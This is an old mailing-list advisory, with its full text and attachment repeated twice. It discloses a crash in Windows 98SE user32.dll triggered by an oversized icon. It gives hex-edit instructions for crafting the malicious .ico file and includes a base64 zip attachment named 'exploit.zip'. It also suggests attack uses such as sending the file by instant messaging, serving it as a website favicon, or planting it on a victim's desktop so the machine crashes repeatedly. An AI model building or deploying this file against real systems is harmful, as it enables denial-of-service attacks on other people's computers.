- k -
27/05/05, 20:05
This is a multi-part message in MIME format.
------=_NextPart_000_0033_01C56145.5FD10A20
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Andres Rey - (User32.dll Icon Size Crash)
---------------------------------------------------
Application: User32.dll (Windows 98SE Version (4.10.2222)) (Maybe other
Windows versions too)
Bug: Crash the program that attempts to open the icon
Explotation: Local / Remote*
Author: Andres Rey (andreskrey@gmail.com)
(* Only sometimes can be used as a remote exploit, see point 5)
---------------------------------------------------
1) Introduction
2) Bug
3) PoC
4) Making the exploit
5) Examples of the Real Life
6) Disclosure
---------------------------------------------------
==============
1) Introduction
==============
User32.dll Is a core component of the Windows kernel
==============
2) Bug
==============
The bug is (probably) in the LoadIconA function of user32.dll. When it reads
a bitmap with the extention .ico and it has a large size (65535x65535), the
dll crash, and the program that called the function gets killed
==============
2) PoC
==============
The attached file is a zip with the bitmap/icon compressed. Just decompress
it to a folder and open it (Explorer.exe will crash), or open with any
program that can load a icon (The program will crash)
WARNING!: Don't decompress to the desktop!!, or your explorer.exe will crash
and crash and crash until you delete the icon
==============
4) Making the exploit
==============
Just open a bitmap in a hexa editor and modify the width and height data:
Locate the "XXXX" values...
----------------------------------------------------------------------------
00000000 : 424D 38F9 1500 0000 0000 3600 0000 2800 0000 XXXX
00000010 : 0000 XXXX 0000 0100 1800 0000 0000 02F9 1500 120B
----------------------------------------------------------------------------
....and change to:
----------------------------------------------------------------------------
00000000 : 424D 38F9 1500 0000 0000 3600 0000 2800 0000 FFFF
00000010 : 0000 FFFF 0000 0100 1800 0000 0000 02F9 1500 120B
----------------------------------------------------------------------------
Then change the extention to ".ico". Notice that the system will crash. (I
use Total Commander with the icons disabled to manipulate the file)
==============
5) Examples of the Real Life
==============
1. Send it through IM
2. Set it as "favicon" of the web pages (<--- Remote version)
3. Put in the desktop of the victim to crash the system everytime
it starts
4. Etc.
==============
7) Disclosure
==============
Microsoft wasn't notified
(Don't know the bugs mail!, it's askbill@microsoft.com?)
----------------------------------
That's all, hope you found it usefull
Andres Rey
andreskrey@gmail.com
------=_NextPart_000_0033_01C56145.5FD10A20
Content-Type: application/x-zip-compressed;
name="exploit.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="exploit.zip"
UEsDBBQAAgAIAIadrjI8wr3OIAAAADoAAAAKAAAAc2VlbWVlLm ljb3PytWKAADMg1gDi//8hmJFB
AizOAsRH+CAYBv4DFQAAUEsBAhQAFAACAAgAhp2uMjzCvc4gAA AAOgAAAAoAAAAAAAAAAAAgAAAA
AAAAAHNlZW1lZS5pY29QSwUGAAAAAAEAAQA4AAAASAAAAAAA
------=_NextPart_000_0033_01C56145.5FD10A20--
------=_NextPart_000_0033_01C56145.5FD10A20
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Andres Rey - (User32.dll Icon Size Crash)
---------------------------------------------------
Application: User32.dll (Windows 98SE Version (4.10.2222)) (Maybe other
Windows versions too)
Bug: Crash the program that attempts to open the icon
Explotation: Local / Remote*
Author: Andres Rey (andreskrey@gmail.com)
(* Only sometimes can be used as a remote exploit, see point 5)
---------------------------------------------------
1) Introduction
2) Bug
3) PoC
4) Making the exploit
5) Examples of the Real Life
6) Disclosure
---------------------------------------------------
==============
1) Introduction
==============
User32.dll Is a core component of the Windows kernel
==============
2) Bug
==============
The bug is (probably) in the LoadIconA function of user32.dll. When it reads
a bitmap with the extention .ico and it has a large size (65535x65535), the
dll crash, and the program that called the function gets killed
==============
2) PoC
==============
The attached file is a zip with the bitmap/icon compressed. Just decompress
it to a folder and open it (Explorer.exe will crash), or open with any
program that can load a icon (The program will crash)
WARNING!: Don't decompress to the desktop!!, or your explorer.exe will crash
and crash and crash until you delete the icon
==============
4) Making the exploit
==============
Just open a bitmap in a hexa editor and modify the width and height data:
Locate the "XXXX" values...
----------------------------------------------------------------------------
00000000 : 424D 38F9 1500 0000 0000 3600 0000 2800 0000 XXXX
00000010 : 0000 XXXX 0000 0100 1800 0000 0000 02F9 1500 120B
----------------------------------------------------------------------------
....and change to:
----------------------------------------------------------------------------
00000000 : 424D 38F9 1500 0000 0000 3600 0000 2800 0000 FFFF
00000010 : 0000 FFFF 0000 0100 1800 0000 0000 02F9 1500 120B
----------------------------------------------------------------------------
Then change the extention to ".ico". Notice that the system will crash. (I
use Total Commander with the icons disabled to manipulate the file)
==============
5) Examples of the Real Life
==============
1. Send it through IM
2. Set it as "favicon" of the web pages (<--- Remote version)
3. Put in the desktop of the victim to crash the system everytime
it starts
4. Etc.
==============
7) Disclosure
==============
Microsoft wasn't notified
(Don't know the bugs mail!, it's askbill@microsoft.com?)
----------------------------------
That's all, hope you found it usefull
Andres Rey
andreskrey@gmail.com
------=_NextPart_000_0033_01C56145.5FD10A20
Content-Type: application/x-zip-compressed;
name="exploit.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="exploit.zip"
UEsDBBQAAgAIAIadrjI8wr3OIAAAADoAAAAKAAAAc2VlbWVlLm ljb3PytWKAADMg1gDi//8hmJFB
AizOAsRH+CAYBv4DFQAAUEsBAhQAFAACAAgAhp2uMjzCvc4gAA AAOgAAAAoAAAAAAAAAAAAgAAAA
AAAAAHNlZW1lZS5pY29QSwUGAAAAAAEAAQA4AAAASAAAAAAA
------=_NextPart_000_0033_01C56145.5FD10A20--